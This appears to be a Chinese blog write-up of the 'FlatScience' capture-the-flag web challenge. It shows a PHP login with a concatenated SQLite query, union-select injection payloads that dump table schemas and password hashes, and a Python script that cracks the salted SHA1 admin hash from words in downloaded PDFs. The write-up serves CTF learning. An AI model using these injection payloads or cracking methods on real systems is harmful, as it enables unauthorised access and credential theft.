1. 程式人生 > 其它 >攻防世界:web FlatScience

攻防世界:web FlatScience

目錄

題目分析

拿到題目,就有很多按鈕可以點選
點開之後,發現會下載好多paper,這應該就是web坐著寫的論文
點開here,this等等東西
會發現有更多的paper等著你下
下載下來的paper是全英文,估計是機器學習數學建模等東西,反正我也看不懂
在手足無措的時候,直接上 目錄掃描工具進行掃描

目錄掃描

使用御劍掃描工具掃描,發現存在robots.txt檔案
開啟robots.txt檔案,可以發現有連個不允許訪問的網址:

不讓訪問我偏要訪問:

  • login.php
  • admin.php

這兩個網站最大的資訊就是告訴你flag可能即使需要登入進去admin

檢查頁面

登入介面一般都會藏有SQL注入漏洞或者xss漏洞
拿到網站沒有頭緒先檢查頁面也許會有提示資訊
檢視login.php的原始碼

檢視原始碼我們發現,有一個註釋是一個?debug
那麼可能就是 存在這樣的頁面,我們get傳參輸入:


頁面原始碼和PHP程式碼一覽無餘

程式碼審計

<?php
if(isset($_POST['usr']) && isset($_POST['pw'])){
        $user = $_POST['usr'];
        $pass = $_POST['pw'];

        $db = new SQLite3('../fancy.db');
        
        $res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");
    if($res){
        $row = $res->fetchArray();
    }
    else{
        echo "<br>Some Error occourred!";
    }

    if(isset($row['id'])){
            setcookie('name',' '.$row['name'], time() + 60, '/');
            header("Location: /");
            die();
    }

}

if(isset($_GET['debug']))
highlight_file('login.php');
?> 

通過程式碼審計我們發現,這是一個sqlite資料庫,然後這個有可能就可以使用SQL注入
我們通過閉合單引號就可以實現SQL注入了
然後後面還有一個東西:setcookie('name',' '.$row['name'], time() + 60, '/');
這個row是從: $row = $res->fetchArray();來的
這個res是從:$res = $db->query("SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'");來的
那這還用多說,查詢的結果八成就在cookie裡面了
現在看是實現SQL注入

SQL注入

首先還是老樣子,判斷欄位數:

  • 輸入1' order by 1 --+ 然後從1一直弄到3,發現3是報錯的,說明這個欄位數就是2個。
  • 判斷一下回顯點:1' union select 1,2 --+經過測試回顯點是2

    這裡加不加 and 1=2 並不影響結果,可能是sqlite資料庫特性,沒有深究
  • 輸入 1' union select name,sql from sqlite_master--+果然在cookie出現了回顯

說明
sqlite_master是sqlite的一張系統表,裡面記錄了資料表的一些資訊
其中欄位name是指該表的名稱,欄位sql是指該表的建立語句

  • 現在,將得到的cookie使用URL解碼:
CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))

可以看見,id是該資料表的碼,有name、password、hint三個欄位

  • 使用聯合查詢查欄位內容:1' union select 1,group_concat(name或者password或者hint)三次查詢之後,用URL解碼,有如下內容:
  • 要命,這是個不可逆的加密,只能撞庫破解admin的密碼。 PHP程式碼裡面說了password的加密方式是:sha1($pass."Salz!")

hold不住,上指令碼:

from io import StringIO

#python3
from pdfminer.pdfpage import PDFPage
from pdfminer.converter import TextConverter
from pdfminer.converter import PDFPageAggregator
from pdfminer.layout import LTTextBoxHorizontal, LAParams
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter


import sys
import string
import os
import hashlib
import importlib
import random
from urllib.request import urlopen
from urllib.request import Request


def get_pdf():
    return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_to_txt(path_to_file):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    codec = 'utf-8'
    laparams = LAParams()
    device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
    fp = open(path_to_file, 'rb')
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    password = ""
    maxpages = 0
    caching = True
    pagenos=set()

    for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
        interpreter.process_page(page)

    text = retstr.getvalue()

    fp.close()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
    pdf_path = get_pdf()
    for i in pdf_path:
        print ("Searching word in " + i)
        pdf_text = convert_pdf_to_txt("./"+i).split(" ")
        for word in pdf_text:
            sha1_password = hashlib.sha1(word.encode('utf-8')+'Salz!'.encode('utf-8')).hexdigest()
            if (sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c'):
                print ("Find the password :" + word)
                exit()
            
 
if __name__ == "__main__":
    find_password()

得到解密後的密碼為ThinJerboa
登入即可得到flag

本文來自部落格園,作者:{Zeker62},轉載請註明原文連結:https://www.cnblogs.com/Zeker62/p/15244238.html